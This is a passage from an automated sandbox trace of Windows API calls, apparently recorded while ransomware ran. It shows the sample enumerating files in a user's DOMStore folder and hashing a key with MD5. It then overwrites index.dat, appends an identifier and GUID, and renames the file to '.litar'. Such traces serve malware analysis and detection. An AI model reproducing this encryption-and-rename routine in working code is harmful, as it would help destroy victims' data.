ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.399] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="36USA68T", cAlternateFileName="")) returned 1 [0127.399] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x605dd8a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3O75JDME", cAlternateFileName="")) returned 1 [0127.399] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbaf619f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0127.399] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat") returned=".dat" [0127.399] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0127.399] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=32768) returned 1 [0127.399] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0127.401] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x7fda, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.401] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0127.403] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.403] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x8000, lpOverlapped=0x0) returned 1 [0127.403] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.403] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0127.403] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.403] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.403] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0127.404] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0127.404] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0127.404] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0127.404] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0127.404] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0127.404] GetLastError () returned 0x0 [0127.404] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0127.404] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0127.404] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0127.405] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8000) returned 0x30fa0b0 [0127.405] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0127.405] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.405] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x7ffb, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x7ffb, lpOverlapped=0x0) returned 1 [0127.405] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.405] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x8000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.405] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0127.405] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30557d8 [0127.405] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30557d8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0127.405] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0127.405] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30557d8 | out: hHeap=0x5c0000) returned 1 [0127.405] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0127.405] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0127.405] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.406] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.406] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0127.406] CloseHandle (hObject=0x624) returned 1 [0127.407] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020a70 [0127.407] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8d0) returned 0x30fa0b0 [0127.407] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0127.407] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\index.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\index.dat.litar")) returned 1 [0127.408] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.408] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.409] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3068fd8 | out: hHeap=0x5c0000) returned 1 [0127.409] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UV0DUWVB", cAlternateFileName="")) returned 1 [0127.409] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020a70 [0127.409] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020b38 [0127.409] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa8) returned 0x2fd8818 [0127.409] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bce70 [0127.409] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xd0) returned 0x30072c8 [0127.409] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020d90 [0127.409] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020e58 [0127.409] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0127.409] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3007478 | out: hHeap=0x5c0000) returned 1 [0127.409] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020cc8 | out: hHeap=0x5c0000) returned 1 [0127.409] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.409] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303ecc0 | out: hHeap=0x5c0000) returned 1 [0127.409] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.409] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020b38 | out: hHeap=0x5c0000) returned 1 [0127.409] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0127.409] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VGMTOI09", cAlternateFileName="")) returned 1 [0127.409] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020a70 [0127.409] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020b38 [0127.409] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020cc8 [0127.409] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020b38 | out: hHeap=0x5c0000) returned 1 [0127.409] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0127.409] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VGMTOI09", cAlternateFileName="")) returned 0 [0127.409] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0127.409] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0127.410] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e388 | out: hHeap=0x5c0000) returned 1 [0127.410] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0127.410] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e388 [0127.410] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0127.410] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.410] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.410] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.410] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.410] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.410] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.410] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.410] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.410] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.410] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.410] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.410] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.410] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.410] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.410] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.410] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.410] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.410] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.410] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.410] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.411] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.411] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.411] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.411] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.411] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0127.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.411] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.411] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.411] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.411] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.411] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.411] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.411] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.411] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.411] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.411] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.412] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.412] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.412] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.412] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.412] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.412] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.412] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.412] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.412] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.412] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.412] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.412] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.412] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.412] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.412] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.412] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.412] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.412] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.412] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.412] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.412] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.412] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.412] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.412] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.412] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.412] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.412] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.412] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.412] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.412] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.412] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.413] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.413] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.413] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.413] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.413] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.413] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.413] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.413] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.413] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.413] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.413] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.413] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.413] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.413] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.413] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.413] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.413] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.413] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.413] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.413] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.413] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.413] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0127.413] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.413] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.413] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.413] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.413] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.413] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.413] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.413] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.413] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.414] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.414] HeapFree (in: hHeap=0x5c0000, 